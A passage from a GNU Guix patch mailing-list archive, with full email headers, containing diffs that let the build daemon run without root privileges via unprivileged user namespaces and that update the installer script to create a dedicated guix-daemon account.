(derivation-file-name drv))) + (begin + (guard (c ((store-protocol-error? c) + (pk 'determinism-exception c) + (and (not (zero? (store-protocol-error-status c))) + (string-contains (store-protocol-error-message c) + "deterministic")))) + ;; This one will produce a different result. Since we're in + ;; 'check' mode, this must fail. + (build-things store (list (derivation-file-name drv)) + (build-mode check)) + #f)))))) (test-assert "build-succeeded trace in check mode" (string-contains -- 2.48.1
X-Loop: help-debbugs@HIDDEN Subject: [bug#75810] [PATCH v2 4/9] daemon: Allow running as non-root with unprivileged user namespaces. Resent-From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN> Original-Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org> Resent-CC: guix@HIDDEN, dev@HIDDEN, ludo@HIDDEN, othacehe@HIDDEN, zimon.toutoune@HIDDEN, me@HIDDEN, guix-patches@HIDDEN Resent-Date: Thu, 13 Feb 2025 12:14:04 +0000 Resent-Message-ID: <handler.75810.B75810.173944883414053 <at> debbugs.gnu.org> Resent-Sender: help-debbugs@HIDDEN X-GNU-PR-Message: followup 75810 X-GNU-PR-Package: guix-patches X-GNU-PR-Keywords: patch To: 75810 <at> debbugs.gnu.org Cc: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludovic.courtes@HIDDEN>, Christopher Baines <guix@HIDDEN>, Josselin Poiret <dev@HIDDEN>, Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>, Mathieu Othacehe <othacehe@HIDDEN>, Simon Tournier <zimon.toutoune@HIDDEN>, Tobias Geerinckx-Rice <me@HIDDEN> X-Debbugs-Original-Xcc: Christopher Baines <guix@HIDDEN>, Josselin Poiret <dev@HIDDEN>, Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>, Mathieu Othacehe <othacehe@HIDDEN>, Simon Tournier <zimon.toutoune@HIDDEN>, Tobias Geerinckx-Rice <me@HIDDEN> Received: via spool by 75810-submit <at> debbugs.gnu.org id=B75810.173944883414053 (code B ref 75810); Thu, 13 Feb 2025 12:14:04 +0000 Received: (at 75810) by debbugs.gnu.org; 13 Feb 2025 12:13:54 +0000 Received: from localhost ([127.0.0.1]:41136 helo=debbugs.gnu.org) by debbugs.gnu.org with esmtp (Exim 4.84_2) (envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>) id 1tiY6L-0003eY-Fb for submit <at> debbugs.gnu.org; Thu, 13 Feb 2025 07:13:54 -0500 Received: from eggs.gnu.org ([2001:470:142:3::10]:51236) by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tiY61-0003cN-Kt for 75810 <at> debbugs.gnu.org; Thu, 13 Feb 2025 07:13:38 -0500 Received: from fencepost.gnu.org ([2001:470:142:3::e]) by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.90_1) (envelope-from <ludo@HIDDEN>) id 1tiY5v-0001C4-8t; Thu, 13 Feb 2025 07:13:27 -0500 DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org; s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To: From; bh=X9e3xrOrc9fu+8aX5VR4ar43pNbWOZRcdzd3TBJnZvU=; b=YmqmF8Ywz7zJ2XFU5LDe xMPvsgIq7+pQlxqfZ+QdNCbsilpruzH09/+/BlXMKtsc8Iqig2Qi34NE+3Ck7/T7OtAHEcDCMLM4Z 6f1EA3jb7u+9APSQqvOE0tq/dhkx4o8bN8NVaGMnxQKucvO100kaeemId8nEjQPHP8JmgwmuuNbf/ TiLyRkaV6NysNr3Hfivdt7xv4rg7YP3mV8iD3pd4f93sicvJk/2bi3iffUqC0hUDXPbJs2oD9Y1YL 1EYng8QyiP5IYJFxMzNGeBsLuqXfKZAbGWN6I3ET9+X5PbiqJhRNNV95IC59jGT1bp0xdcT69yesJ fN+Dzt8t9jfNBA==; From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN> Date: Thu, 13 Feb 2025 13:13:07 +0100 Message-ID: <eb3f91a7e866f9a1565afd094a158269f548b89e.1739448513.git.ludo@HIDDEN> X-Mailer: git-send-email 2.48.1 In-Reply-To: <cover.1739448513.git.ludo@HIDDEN> References: <cover.1739448513.git.ludo@HIDDEN> MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Spam-Score: -2.3 (--) X-BeenThere: debbugs-submit <at> debbugs.gnu.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: <debbugs-submit.debbugs.gnu.org> List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe> List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/> List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org> List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help> List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe> Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org> X-Spam-Score: -3.3 (---) From: Ludovic Courtès <ludovic.courtes@HIDDEN> * nix/libstore/build.cc (guestUID, guestGID): New variables. (DerivationGoal)[readiness]: New field. (initializeUserNamespace): New function. (DerivationGoal::runChild): When ‘readiness.readSide’ is positive, read from it. (DerivationGoal::startBuilder): Call ‘chown’ only when ‘buildUser.enabled()’ is true. Pass CLONE_NEWUSER to ‘clone’ when ‘buildUser.enabled()’ is false or not running as root. Retry ‘clone’ without CLONE_NEWUSER upon EPERM. (DerivationGoal::registerOutputs): Make ‘actualPath’ writable before ‘rename’. (DerivationGoal::deleteTmpDir): Catch ‘SysError’ around ‘_chown’ call. * nix/libstore/local-store.cc (LocalStore::createUser): Do nothing if ‘dirs’ already exists. Warn instead of failing when failing to chown ‘dir’. * guix/substitutes.scm (%narinfo-cache-directory): Check for ‘_NIX_OPTIONS’ rather than getuid() == 0 to determine the cache location. Change-Id: I38fbe01f80fb45a99cd8a391e55a39a54d64fcb7 --- guix/substitutes.scm | 4 +- nix/libstore/build.cc | 128 +++++++++++++++++++++++++++++------- nix/libstore/local-store.cc | 22 +++++-- 3 files changed, 123 insertions(+), 31 deletions(-) diff --git a/guix/substitutes.scm b/guix/substitutes.scm index e31b3940203..2761a3dafb4 100644 --- a/guix/substitutes.scm +++ b/guix/substitutes.scm @@ -1,5 +1,5 @@ ;;; GNU Guix --- Functional package management for GNU -;;; Copyright © 2013-2021, 2023-2024 Ludovic Courtès <ludo@HIDDEN> +;;; Copyright © 2013-2021, 2023-2025 Ludovic Courtès <ludo@HIDDEN> ;;; Copyright © 2014 Nikita Karetnikov <nikita@HIDDEN> ;;; Copyright © 2018 Kyle Meyer <kyle@HIDDEN> ;;; Copyright © 2020 Christopher Baines <mail@HIDDEN> @@ -76,7 +76,7 @@ (define %narinfo-cache-directory ;; time, 'guix substitute' is called by guix-daemon as root and stores its ;; cached data in /var/guix/…. However, when invoked from 'guix challenge' ;; as a user, it stores its cache in ~/.cache. - (if (zero? (getuid)) + (if (getenv "_NIX_OPTIONS") ;invoked by guix-daemon (or (and=> (getenv "XDG_CACHE_HOME") (cut string-append <> "/guix/substitute")) (string-append %state-directory "/substitute/cache")) diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc index 7151bb6c6f1..18dd27460b7 100644 --- a/nix/libstore/build.cc +++ b/nix/libstore/build.cc @@ -747,6 +747,10 @@ private: friend int childEntry(void *); + /* Pipe to notify readiness to the child process when using unprivileged + user namespaces. */ + Pipe readiness; + /* Check that the derivation outputs all exist and register them as valid. */ void registerOutputs(); @@ -1622,6 +1626,25 @@ int childEntry(void * arg) } +/* UID and GID of the build user inside its own user namespace. */ +static const uid_t guestUID = 30001; +static const gid_t guestGID = 30000; + +/* Initialize the user namespace of CHILD. */ +static void initializeUserNamespace(pid_t child) +{ + auto hostUID = getuid(); + auto hostGID = getgid(); + + writeFile("/proc/" + std::to_string(child) + "/uid_map", + (format("%d %d 1") % guestUID % hostUID).str()); + + writeFile("/proc/" + std::to_string(child) + "/setgroups", "deny"); + + writeFile("/proc/" + std::to_string(child) + "/gid_map", + (format("%d %d 1") % guestGID % hostGID).str()); +} + void DerivationGoal::startBuilder() { auto f = format( @@ -1685,7 +1708,7 @@ void DerivationGoal::startBuilder() then an attacker could create in it a hardlink to a root-owned file such as /etc/shadow. If 'keepFailed' is true, the daemon would then chown that hardlink to the user, giving them write access to - that file. */ + that file. See CVE-2021-27851. */ tmpDir += "/top"; if (mkdir(tmpDir.c_str(), 0700) == 1) throw SysError("creating top-level build directory"); @@ -1802,7 +1825,7 @@ void DerivationGoal::startBuilder() if (mkdir(chrootRootDir.c_str(), 0750) == -1) throw SysError(format("cannot create ‘%1%’") % chrootRootDir); - if (chown(chrootRootDir.c_str(), 0, buildUser.getGID()) == -1) + if (buildUser.enabled() && chown(chrootRootDir.c_str(), 0, buildUser.getGID()) == -1) throw SysError(format("cannot change ownership of ‘%1%’") % chrootRootDir); /* Create a writable /tmp in the chroot. Many builders need @@ -1821,8 +1844,8 @@ void DerivationGoal::startBuilder() (format( "nixbld:x:%1%:%2%:Nix build user:/:/noshell\n" "nobody:x:65534:65534:Nobody:/:/noshell\n") - % (buildUser.enabled() ? buildUser.getUID() : getuid()) - % (buildUser.enabled() ? buildUser.getGID() : getgid())).str()); + % (buildUser.enabled() ? buildUser.getUID() : guestUID) + % (buildUser.enabled() ? buildUser.getGID() : guestGID)).str()); /* Declare the build user's group so that programs get a consistent view of the system (e.g., "id -gn"). */ @@ -1857,7 +1880,7 @@ void DerivationGoal::startBuilder() createDirs(chrootStoreDir); chmod_(chrootStoreDir, 01775); - if (chown(chrootStoreDir.c_str(), 0, buildUser.getGID()) == -1) + if (buildUser.enabled() && chown(chrootStoreDir.c_str(), 0, buildUser.getGID()) == -1) throw SysError(format("cannot change ownership of ‘%1%’") % chrootStoreDir); foreach (PathSet::iterator, i, inputPaths) { @@ -1948,14 +1971,34 @@ void DerivationGoal::startBuilder() if (useChroot) { char stack[32 * 1024]; int flags = CLONE_NEWPID | CLONE_NEWNS | CLONE_NEWIPC | CLONE_NEWUTS | SIGCHLD; - if (!fixedOutput) flags |= CLONE_NEWNET; + if (!fixedOutput) { + flags |= CLONE_NEWNET; + } + if (!buildUser.enabled() || getuid() != 0) { + flags |= CLONE_NEWUSER; + readiness.create(); + } + /* Ensure proper alignment on the stack. On aarch64, it has to be 16 bytes. */ - pid = clone(childEntry, + pid = clone(childEntry, (char *)(((uintptr_t)stack + sizeof(stack) - 8) & ~(uintptr_t)0xf), flags, this); - if (pid == -1) - throw SysError("cloning builder process"); + if (pid == -1) { + if ((flags & CLONE_NEWUSER) != 0 && getuid() != 0) + /* 'clone' fails with EPERM on distros where unprivileged user + namespaces are disabled. Error out instead of giving up on + isolation. */ + throw SysError("cannot create process in unprivileged user namespace"); + else + throw SysError("cloning builder process"); + } + + if ((flags & CLONE_NEWUSER) != 0) { + /* Initialize the UID/GID mapping of the child process. */ + initializeUserNamespace(pid); + writeFull(readiness.writeSide, (unsigned char*)"go\n", 3); + } } else #endif { @@ -2001,23 +2044,34 @@ void DerivationGoal::runChild() _writeToStderr = 0; + if (readiness.readSide > 0) { + /* Wait for the parent process to initialize the UID/GID mapping + of our user namespace. */ + char str[20] = { '\0' }; + readFull(readiness.readSide, (unsigned char*)str, 3); + if (strcmp(str, "go\n") != 0) + throw Error("failed to initialize process in unprivileged user namespace"); + } + restoreAffinity(); commonChildInit(builderOut); #if CHROOT_ENABLED if (useChroot) { - /* Initialise the loopback interface. */ - AutoCloseFD fd(socket(PF_INET, SOCK_DGRAM, IPPROTO_IP)); - if (fd == -1) throw SysError("cannot open IP socket"); + if (!fixedOutput) { + /* Initialise the loopback interface. */ + AutoCloseFD fd(socket(PF_INET, SOCK_DGRAM, IPPROTO_IP)); + if (fd == -1) throw SysError("cannot open IP socket"); - struct ifreq ifr; - strcpy(ifr.ifr_name, "lo"); - ifr.ifr_flags = IFF_UP | IFF_LOOPBACK | IFF_RUNNING; - if (ioctl(fd, SIOCSIFFLAGS, &ifr) == -1) - throw SysError("cannot set loopback interface flags"); + struct ifreq ifr; + strcpy(ifr.ifr_name, "lo"); + ifr.ifr_flags = IFF_UP | IFF_LOOPBACK | IFF_RUNNING; + if (ioctl(fd, SIOCSIFFLAGS, &ifr) == -1) + throw SysError("cannot set loopback interface flags"); - fd.close(); + fd.close(); + } /* Set the hostname etc. to fixed values. */ char hostname[] = "localhost"; @@ -2447,8 +2501,16 @@ void DerivationGoal::registerOutputs() if (buildMode == bmRepair) replaceValidPath(path, actualPath); else - if (buildMode != bmCheck && rename(actualPath.c_str(), path.c_str()) == -1) - throw SysError(format("moving build output `%1%' from the chroot to the store") % path); + if (buildMode != bmCheck) { + if (S_ISDIR(st.st_mode)) + /* Change mode on the directory to allow for + rename(2). */ + chmod(actualPath.c_str(), st.st_mode | 0700); + if (rename(actualPath.c_str(), path.c_str()) == -1) + throw SysError(format("moving build output `%1%' from the chroot to the store") % path); + if (S_ISDIR(st.st_mode) && chmod(path.c_str(), st.st_mode) == -1) + throw SysError(format("restoring permissions on directory `%1%'") % actualPath); + } } if (buildMode != bmCheck) actualPath = path; } @@ -2707,8 +2769,25 @@ void DerivationGoal::deleteTmpDir(bool force) // Change the ownership if clientUid is set. Never change the // ownership or the group to "root" for security reasons. if (settings.clientUid != (uid_t) -1 && settings.clientUid != 0) { - _chown(tmpDir, settings.clientUid, - settings.clientGid != 0 ? settings.clientGid : -1); + uid_t uid = settings.clientUid; + gid_t gid = settings.clientGid != 0 ? settings.clientGid : -1; + try { + _chown(tmpDir, uid, gid); + + if (getuid() != 0) { + /* If, without being root, the '_chown' call above + succeeded, then it means we have CAP_CHOWN. Retake + ownership of tmpDir itself so it can be renamed + below. */ + chown(tmpDir.c_str(), getuid(), getgid()); + } + } catch (SysError & e) { + /* When running as an unprivileged user and without + CAP_CHOWN, we cannot chown the build tree. Print a + message and keep going. */ + printMsg(lvlInfo, format("cannot change ownership of build directory '%1%': %2%") + % tmpDir % strerror(e.errNo)); + } if (top != tmpDir) { // Rename tmpDir to its parent, with an intermediate step. @@ -2717,6 +2796,11 @@ void DerivationGoal::deleteTmpDir(bool force) throw SysError("pivoting failed build tree"); if (rename((pivot + "/top").c_str(), top.c_str()) == -1) throw SysError("renaming failed build tree"); + + if (getuid() != 0) + /* Running unprivileged but with CAP_CHOWN. */ + chown(top.c_str(), uid, gid); + rmdir(pivot.c_str()); } } diff --git a/nix/libstore/local-store.cc b/nix/libstore/local-store.cc index 0883a4bbcee..4308264a4f3 100644 --- a/nix/libstore/local-store.cc +++ b/nix/libstore/local-store.cc @@ -306,14 +306,14 @@ void LocalStore::openDB(bool create) void LocalStore::makeStoreWritable() { #if HAVE_UNSHARE && HAVE_STATVFS && HAVE_SYS_MOUNT_H && defined(MS_BIND) && defined(MS_REMOUNT) - if (getuid() != 0) return; /* Check if /nix/store is on a read-only mount. */ struct statvfs stat; if (statvfs(settings.nixStore.c_str(), &stat) != 0) throw SysError("getting info about the store mount point"); if (stat.f_flag & ST_RDONLY) { - if (unshare(CLONE_NEWNS) == -1) + int flags = CLONE_NEWNS | (getpid() == 0 ? 0 : CLONE_NEWUSER); + if (unshare(flags) == -1) throw SysError("setting up a private mount namespace"); if (mount(0, settings.nixStore.c_str(), "none", MS_REMOUNT | MS_BIND, 0) == -1) @@ -1614,11 +1614,19 @@ void LocalStore::createUser(const std::string & userName, uid_t userId) { auto dir = settings.nixStateDir + "/profiles/per-user/" + userName; - createDirs(dir); - if (chmod(dir.c_str(), 0755) == -1) - throw SysError(format("changing permissions of directory '%s'") % dir); - if (chown(dir.c_str(), userId, -1) == -1) - throw SysError(format("changing owner of directory '%s'") % dir); + auto created = createDirs(dir); + if (!created.empty()) { + if (chmod(dir.c_str(), 0755) == -1) + throw SysError(format("changing permissions of directory '%s'") % dir); + + /* The following operation requires CAP_CHOWN or can be handled + manually by a user with CAP_CHOWN. */ + if (chown(dir.c_str(), userId, -1) == -1) { + rmdir(dir.c_str()); + string message = strerror(errno); + printMsg(lvlInfo, format("failed to change owner of directory '%1%' to %2%: %3%") % dir % userId % message); + } + } } -- 2.48.1
X-Loop: help-debbugs@HIDDEN Subject: [bug#75810] [PATCH v2 9/9] guix-install.sh: Support the unprivileged daemon where possible. Resent-From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN> Original-Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org> Resent-CC: guix-patches@HIDDEN Resent-Date: Thu, 13 Feb 2025 12:14:04 +0000 Resent-Message-ID: <handler.75810.B75810.173944883514060 <at> debbugs.gnu.org> Resent-Sender: help-debbugs@HIDDEN X-GNU-PR-Message: followup 75810 X-GNU-PR-Package: guix-patches X-GNU-PR-Keywords: patch To: 75810 <at> debbugs.gnu.org Cc: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN> Received: via spool by 75810-submit <at> debbugs.gnu.org id=B75810.173944883514060 (code B ref 75810); Thu, 13 Feb 2025 12:14:04 +0000 Received: (at 75810) by debbugs.gnu.org; 13 Feb 2025 12:13:55 +0000 Received: from localhost ([127.0.0.1]:41138 helo=debbugs.gnu.org) by debbugs.gnu.org with esmtp (Exim 4.84_2) (envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>) id 1tiY6M-0003ec-I4 for submit <at> debbugs.gnu.org; Thu, 13 Feb 2025 07:13:55 -0500 Received: from eggs.gnu.org ([2001:470:142:3::10]:41590) by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tiY65-0003cl-Tb for 75810 <at> debbugs.gnu.org; Thu, 13 Feb 2025 07:13:39 -0500 Received: from fencepost.gnu.org ([2001:470:142:3::e]) by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.90_1) (envelope-from <ludo@HIDDEN>) id 1tiY60-0001Dd-Ik; Thu, 13 Feb 2025 07:13:32 -0500 DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org; s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To: From; bh=1rCJ8nHLWbW07YSX+p8fFleVwPMsQATsuCgNH7lgBhY=; b=sZdI5b+j4u5+MGlvoq0F KF73lz5gFGF634y+I710soMF4QEEIcwEcfqVZLA03sjMQ39UNO5U7i5E56iBGQAEd2D366bZDtJsf bBYxl6/+DlpDtTMPGvRE+nhfkEdZk/m65/UvVVBWPRwpVydYYzWWB6kUAxl+gAyyqens1LRuvKDUH F5i+xIhne/Sma7IG4zc37gxPmqm8f9IqIXO2LJox2nDgj4NZ6KUJ55gD7uphcmfUqUrkuF3x1QM0L o4DEHMSovpAmxnLd0jrUFyLtACzMF94Lw5a6MhGCVNeKL4fYJ1kGFGwzv33M6+i1ZaRhdRYqxQDkJ Lo0J1T3ew3Rz3A==; From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN> Date: Thu, 13 Feb 2025 13:13:12 +0100 Message-ID: <107f6e7972e083aa645e8a1bc121750c4d94fc1f.1739448513.git.ludo@HIDDEN> X-Mailer: git-send-email 2.48.1 In-Reply-To: <cover.1739448513.git.ludo@HIDDEN> References: <cover.1739448513.git.ludo@HIDDEN> MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Spam-Score: -2.3 (--) X-BeenThere: debbugs-submit <at> debbugs.gnu.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: <debbugs-submit.debbugs.gnu.org> List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe> List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/> List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org> List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help> List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe> Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org> X-Spam-Score: -3.3 (---) * etc/guix-install.sh (create_account): New function. (sys_create_build_user): Use it. When ‘guix-daemon.service’ contains “User=guix-daemon” only create the ‘guix-daemon’ user and group. (sys_delete_build_user): Delete the ‘guix-daemon’ user and group. (can_install_unprivileged_daemon): New function. (sys_create_store): When installing the unprivileged daemon, change ownership of /gnu and /var/guix, and create /var/log/guix. (sys_authorize_build_farms): When the ‘guix-daemon’ account exists, change ownership of /etc/guix. (sys_enable_guix_daemon): Do not install ‘gnu-store.mount’ when running an unprivileged daemon. Change-Id: I73e573f1cc5c0cb3794aaaa6b576616b66e0c5e9 --- etc/guix-install.sh | 114 +++++++++++++++++++++++++++++++++++--------- 1 file changed, 91 insertions(+), 23 deletions(-) diff --git a/etc/guix-install.sh b/etc/guix-install.sh index f07b2741bb9..4f08eff8476 100755 --- a/etc/guix-install.sh +++ b/etc/guix-install.sh @@ -389,6 +389,11 @@ sys_create_store() cd "$tmp_path" _msg "${INF}Installing /var/guix and /gnu..." # Strip (skip) the leading ‘.’ component, which fails on read-only ‘/’. + # + # TODO: Eventually extract with ‘--owner=guix-daemon’ when installing + # and unprivileged guix-daemon service; for now, this script may install + # from both an old release that does not support unprivileged guix-daemon + # and a new release that does, so ‘chown -R’ later if needed. tar --extract --strip-components=1 --file "$pkg" -C / _msg "${INF}Linking the root user's profile" @@ -414,38 +419,82 @@ sys_delete_store() rm -rf ~root/.config/guix } +create_account() +{ + local user="$1" + local group="$2" + local supplementary_groups="$3" + local comment="$4" + + if id "$user" &>/dev/null; then + _msg "${INF}user '$user' is already in the system, reset" + usermod -g "$group" -G "$supplementary_groups" \ + -d /var/empty -s "$(which nologin)" \ + -c "$comment" "$user" + else + useradd -g "$group" -G "$supplementary_groups" \ + -d /var/empty -s "$(which nologin)" \ + -c "$comment" --system "$user" + _msg "${PAS}user added <$user>" + fi +} + +can_install_unprivileged_daemon() +{ # Return true if we can install guix-daemon running without privileges. + [ "$INIT_SYS" = systemd ] && \ + grep -q "User=guix-daemon" \ + ~root/.config/guix/current/lib/systemd/system/guix-daemon.service \ + && ([ ! -f /proc/sys/kernel/unprivileged_userns_clone ] \ + || [ "$(cat /proc/sys/kernel/unprivileged_userns_clone)" -eq 1 ]) +} + sys_create_build_user() { # Create the group and user accounts for build users. _debug "--- [ ${FUNCNAME[0]} ] ---" - if getent group guixbuild > /dev/null; then - _msg "${INF}group guixbuild exists" - else - groupadd --system guixbuild - _msg "${PAS}group <guixbuild> created" - fi - if getent group kvm > /dev/null; then _msg "${INF}group kvm exists and build users will be added to it" local KVMGROUP=,kvm fi - for i in $(seq -w 1 10); do - if id "guixbuilder${i}" &>/dev/null; then - _msg "${INF}user is already in the system, reset" - usermod -g guixbuild -G guixbuild${KVMGROUP} \ - -d /var/empty -s "$(which nologin)" \ - -c "Guix build user $i" \ - "guixbuilder${i}"; - else - useradd -g guixbuild -G guixbuild${KVMGROUP} \ - -d /var/empty -s "$(which nologin)" \ - -c "Guix build user $i" --system \ - "guixbuilder${i}"; - _msg "${PAS}user added <guixbuilder${i}>" - fi - done + if [ "$INIT_SYS" = systemd ] && \ + grep -q "User=guix-daemon" \ + ~root/.config/guix/current/lib/systemd/system/guix-daemon.service + then + if getent group guix-daemon > /dev/null; then + _msg "${INF}group guix-daemon exists" + else + groupadd --system guix-daemon + _msg "${PAS}group guix-daemon created" + fi + + create_account guix-daemon guix-daemon \ + guix-daemon$KVMGROUP \ + "Unprivileged Guix Daemon User" + + # ‘tar xf’ creates root:root files. Change that. + chown -R guix-daemon:guix-daemon \ + /gnu /var/guix + + # The unprivileged cannot create the log directory by itself. + mkdir /var/log/guix + chown guix-daemon:guix-daemon /var/log/guix + chmod 755 /var/log/guix + else + if getent group guixbuild > /dev/null; then + _msg "${INF}group guixbuild exists" + else + groupadd --system guixbuild + _msg "${PAS}group <guixbuild> created" + fi + + for i in $(seq -w 1 10); do + create_account "guixbuilder${i}" "guixbuild" \ + "guixbuild${KVMGROUP}" \ + "Guix build user $i" + done + fi } sys_delete_build_user() @@ -460,6 +509,14 @@ sys_delete_build_user() if getent group guixbuild &>/dev/null; then groupdel -f guixbuild fi + + _msg "${INF}remove guix-daemon user" + if id guix-daemon &>/dev/null; then + userdel -f guix-daemon + fi + if getent group guix-daemon &>/dev/null; then + groupdel -f guix-daemon + fi } sys_enable_guix_daemon() @@ -503,7 +560,14 @@ sys_enable_guix_daemon() # Install after guix-daemon.service to avoid a harmless warning. # systemd .mount units must be named after the target directory. # Here we assume a hard-coded name of /gnu/store. - install_unit gnu-store.mount + # + # FIXME: This feature is unavailable when running an + # unprivileged daemon. + if ! grep -q "User=guix-daemon" \ + /etc/systemd/system/guix-daemon.service + then + install_unit gnu-store.mount + fi systemctl daemon-reload && systemctl start guix-daemon; } && @@ -627,6 +691,10 @@ project's build farms?"; then && guix archive --authorize < "$key" \ && _msg "${PAS}Authorized public key for $host" done + if id guix-daemon &>/dev/null; then + # /etc/guix/acl must be readable by the unprivileged guix-daemon. + chown -R guix-daemon:guix-daemon /etc/guix + fi else _msg "${INF}Skipped authorizing build farm public keys" fi -- 2.48.1
X-Loop: help-debbugs@HIDDEN Subject: [bug#75810] [PATCH v2 3/9] daemon: Remount inputs as read-only. Resent-From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN> Original-Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org> Resent-CC: guix-patches@HIDDEN Resent-Date: Thu, 13 Feb 2025 12:14:05 +0000 Resent-Message-ID: <handler.75810.B75810.173944883914071 <at> debbugs.gnu.org> Resent-Sender: help-debbugs@HIDDEN X-GNU-PR-Message: followup 75810 X-GNU-PR-Package: guix-patches X-GNU-PR-Keywords: patch To: 75810 <at> debbugs.gnu.org Cc: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>, Reepca Russelstein <reepca@HIDDEN> Received: via spool by 75810-submit <at> debbugs.gnu.org id=B75810.173944883914071 (code B ref 75810); Thu, 13 Feb 2025 12:14:05 +0000 Received: (at 75810) by debbugs.gnu.org; 13 Feb 2025 12:13:59 +0000 Received: from localhost ([127.0.0.1]:41140 helo=debbugs.gnu.org) by debbugs.gnu.org with esmtp (Exim 4.84_2) (envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>) id 1tiY6N-0003ej-5f for submit <at> debbugs.gnu.org; Thu, 13 Feb 2025 07:13:58 -0500 Received: from eggs.gnu.org ([2001:470:142:3::10]:51210) by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tiY5z-0003cJ-V8 for 75810 <at> debbugs.gnu.org; Thu, 13 Feb 2025 07:13:39 -0500 Received: from fencepost.gnu.org ([2001:470:142:3::e]) by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.90_1) (envelope-from <ludo@HIDDEN>) id 1tiY5u-0001Br-9A; Thu, 13 Feb 2025 07:13:26 -0500 DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org; s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To: From; bh=BOeQoIgQrfkZtIX93BwNljFCfZnlkIb/zLXPFnLkIxI=; b=gxlH90pnYCnG/xTuctH8 fAOISy6CqyIuwMEDz/hN9atylBjrKRFr6TWC939E/4JY9k66j4/WySxWaSBaZhnRHBl8dmz/ZXNKf 8Bn5gsTwkeA4cNudbPPwMc+w3crleX4kuqAGwqXEa06ji7xizESnOYV+1A4SG2Q1EfBXLxRxGVq0B +W7K1GWe6h5txqcmQQ8jwVUJ53IsGp2zwGTIqtLgsDaJTo5UmovlIiZfWncSuoUUGQpCnf+w5J4nX gIUPTTP9g8GXu1rGwefBw5Np70c6pc+r4CrZoAsq0lar3seaazbiCLQGrpqZ3ArqA3TZodkYwYnyp bdPDjK3eoAum8g==; From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN> Date: Thu, 13 Feb 2025 13:13:06 +0100 Message-ID: <15b9f858aa6c636cd02801c35bbcc467a184d1b0.1739448513.git.ludo@HIDDEN> X-Mailer: git-send-email 2.48.1 In-Reply-To: <cover.1739448513.git.ludo@HIDDEN> References: <cover.1739448513.git.ludo@HIDDEN> MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Spam-Score: -0.3 (/) X-BeenThere: debbugs-submit <at> debbugs.gnu.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: <debbugs-submit.debbugs.gnu.org> List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe> List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/> List-Post: <mailto:debbugs-submit <at> 